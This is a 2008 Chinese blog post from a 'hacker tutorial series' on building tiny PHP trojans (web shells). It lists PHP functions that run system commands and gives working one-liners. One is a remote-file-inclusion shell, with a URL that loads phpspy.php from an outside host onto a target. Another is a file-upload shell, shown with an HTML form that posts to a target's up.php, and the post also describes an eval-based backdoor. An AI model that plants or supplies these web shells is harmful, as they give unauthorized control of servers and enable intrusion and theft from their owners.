«
黑客教程系列之微型PHP木马的探讨

时间:2008-5-31    作者:Deri    分类: 分享


   <p>  【编辑提示】:此文仅供参考学习之用!</p><p>  本文没有什么特别之处,仅求抛砖引玉。并送给和我一样菜的在PHP门边徘徊的朋友。刚学PHP没几天,我就急于功成,所以有错误及不足之处请大家积极指出。</p><p>  PHP语法的强大是ASP望尘莫及的,仅一个:就可以刺探整个服务器的配置。运行cmd,上传文件等,都是非常简便的,现在用的好的PHP木马,莫过于angel的phpspy了。昨天hak_ban问怎么给PHP木马加密,我还没想到,但是对于写一个微型PHP木马,我想还是很难被杀的。</p><p>  这里简单探讨一下几个函数可以作为木马的使用:</p><p>  1. 可以运行外部命令的几个函数:system,passthru,exec,shell_exec,popen。</p><p>  例:只要将等保存为cmd.php及可实现运行外部命令的功能。这几个函数可以说是最早的微行php木马了,所以一般虚拟主机的设置也会将这些函数屏蔽的。</p><p>  2.还记得WDB论坛的style.php的漏洞吗?我们可以利用这个做个很难被杀的小木马。如下:</p><code><?php include($include);?></code><p>  将其保存为1.php,我们就可以调用其他不支持php服务器里的.php木马(如phpspy.php)来达到我们的目的:http://target.com/1.php? Include=http://www.xxx.com/phpspy.php</p><p>  这里http://www.918x.com是不支持php的,否则将会在http://www.xxx.com这台服务器运行phpspy.php,而不是目标服务器。</p><p>  3. 这个还是angel在Discuz 2.2F的攻击中给我们的一个非常好的上传木马,我没有改:</p><code><?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?></code><p>  将其保存为up.php后,在本地提交表单:</p><code><form ENCTYPE="multipart/form-data" ACTION="http://目标服务器/up.php" METHOD="POST"><br /><input NAME="MyFile" TYPE="file"><br /><input VALUE=" 提交 " TYPE="submit"><br /></form></code><p>  就可以把大个的php木马上传上去。</p><p>  4. 我一直在想有没有同冰狐浪子的那个ASP一句话木马一样通过本地表单提交运行的PHP木马。终于找到了函数:eval,在PHP4中文参考手册上它的语法说明:</p><p>  语法:</p><code>void eval(string code_str);</code><p>  内容说明:本函数可将字符串之中的变量值代入,通常用在处理数据库的资料上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函数处理后的字符串会沿续到 PHP 程序结束。</p><p>  我们可以在目标主机上保存:为一个PHP文件(我想也可以插在PHP任意文件里)。然后通过本地提交来达到目的,但与ASP不同的是,在magic_quotes_gpc = on的时候,过滤的很多的字符,使得这个使用功能大大的缩小。</p><p>  对于这个PHP木马本地表单我做了很多次,还没有成熟的代码。还请高手指教。写好后会奉献给大家的。但是eval这个函数可以做微型PHP木马是无须质疑的。</p><p>  PS:写完后,有人告诉我,其实高手早就有微型的PHP木马了,只是没有公开。哎,我好郁闷啊,研究的都是人家早就有了的成果。不管怎么样,和大家分享一下我的研究,希望能得到帮助和指教。</p>